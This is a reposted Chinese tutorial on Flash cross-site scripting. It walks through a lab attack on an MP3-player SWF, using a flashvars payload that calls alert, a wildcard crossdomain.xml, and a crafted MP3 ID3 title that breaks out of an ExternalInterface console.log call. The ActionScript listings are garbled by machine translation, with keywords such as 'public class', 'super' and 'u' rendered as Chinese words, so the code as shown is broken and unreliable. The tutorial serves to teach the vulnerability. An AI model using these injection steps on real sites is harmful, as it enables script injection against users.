Flash XSS漏洞快速上手


 

0x01 Flash XSS

 xss一是指執行惡意js,那么為什么說flash xss呢?是因為flash有可以調用js的函數,也就是可以和js通信,因此這些函數如果使用不當就會造成xss。常見的可觸發xss的危險函數有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

 

0x02 ExternalInterface.call舉例

AS中ExternalInterface類是用來和js通信的,調用方法是用來調用js函數的,函數原型

ExternalInterface.call(functionName:字符串,...參數):*

     fuctionName:要調用的JavaScript的函數名

     參數:參數,可選

 

函數具體用法請參考

http://help.adobe.com/zh_CN/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html

 

如下AS代碼

 

{import flash.display.Sprite; import flash.external.ExternalInterface; 公共類XSSTest擴展了Sprite

       {public function XSSTest()

             {var jsFunction:String = loaderInfo.parameters.jsFunction; var param:String =“abc”;

                    ExternalInterface.call(jsFunction,param);

             }

       }

}

這里通過flashvars傳遞了一個參數,是js的函數。這種方式比較常見,swf可以做成通用,放到不同的業務中使用,每次只需要傳入對應的js函數即可。但是,這里就存在漏洞了。    

 

 在瀏覽器中,構造URL:

XSSTest.swf jsFunction =alert(/xss/) 

訪問SWF,並以獲取參數的形式傳入Flash變數,造成了 XSS

 

 

0×03實踐

這是一個簡單的網頁,里邊有flash做的MP3播放器。

我們先黑盒看一下:

查看網絡

 

 

加載了swf,查看源碼

 

看到MP3參數傳遞的是MP3文件。我們嘗試從URL傳遞參數訪問http://192.168.6.2/_files/XSSC1.swf?mp3=../1.mp3

看控制台,有奇怪的輸出。

 

 

把MP3文件下載下來分析一下

http://192.168.6.2/1.mp3

 

 

 

 

保存下來

右鍵屬性看摘要

 

 

 

 

這個文件的標題就是console的輸出,由此我們推測為文件里源碼有調用js函數console.log(“MP3的標題”) ;

既然是教程,那我們就白盒看一下這個SWF的源碼:

{

    import flash.events。*;

    import flash.display。*;

    import flash.media。*;

    import flash.external。*;

    import flash.net。*;

    import flash.system。*;

 

    公共類XSSC1擴展Sprite {

 

       private var m:聲音;

 

       公共功能XSSC1(){

           var mp3:* = null;

           var host:* = null;

           var u:* = null;

           var context:* = null;

           超();

           var p:* = this.loaderInfo.parameters;

           if((“mp3”in p)){

               mp3 = p [“mp3”];

               host =((mp3.match(/ ^(https?:\ / \ / [^ \\\ /] +)/))||([“”,“”]))[1];

               Security.loadPolicyFile((host +“/ crosdomain.xml”));

               u = new URLRequest(mp3);

               context = new SoundLoaderContext(1000,true);

               m = new Sound();

               m.load(你,上下文);

               m.play();

               m.addEventListener(Event.ID3,function(e:Event):void {

                   if((m.id3中的“songName”)){

                       if(ExternalInterface.available){

                           跡(m.id3.songName);

                           ExternalInterface.call(“console.log”,m.id3.songName);

                       };

                   };

               });

           };

        }

    }

}//

 

 

那么,我們本地搭建web服務器,構造MP3標題即可觸發xss。

首先我們本地創建的Web服務器根目錄

 

 

 

 

把剛才下載的MP3復制進去,然后創建crossdomain.xml的文件,內容

<?xml version =“1.0”?>

<! -  http://www.foo.com/crossdomain.xml  - >

<!DOCTYPE跨域策略系統“http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd”>

<跨域策略>

 <allow-access-from domain =“*”/>

         <site-control allowed-cross-domain-policies =“all”/>

 <allow-http-request-headers-from domain =“*”headers =“*”/>

</跨域策略>

 

 

 

 

 

然后我們修改1.MP3的標題為\“)); alert(1);} catch(a){} //,右鍵屬性

 

在cmd 里切換到web 目錄,執行C:\ Python27 \ python -m SimpleHTTPServer 80 開啟web 服務器

 

然后訪問http://192.168.6.2/_files/XSSC1.swf?mp3=http://192.168.5.66/1.mp3

 

成功XSS


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM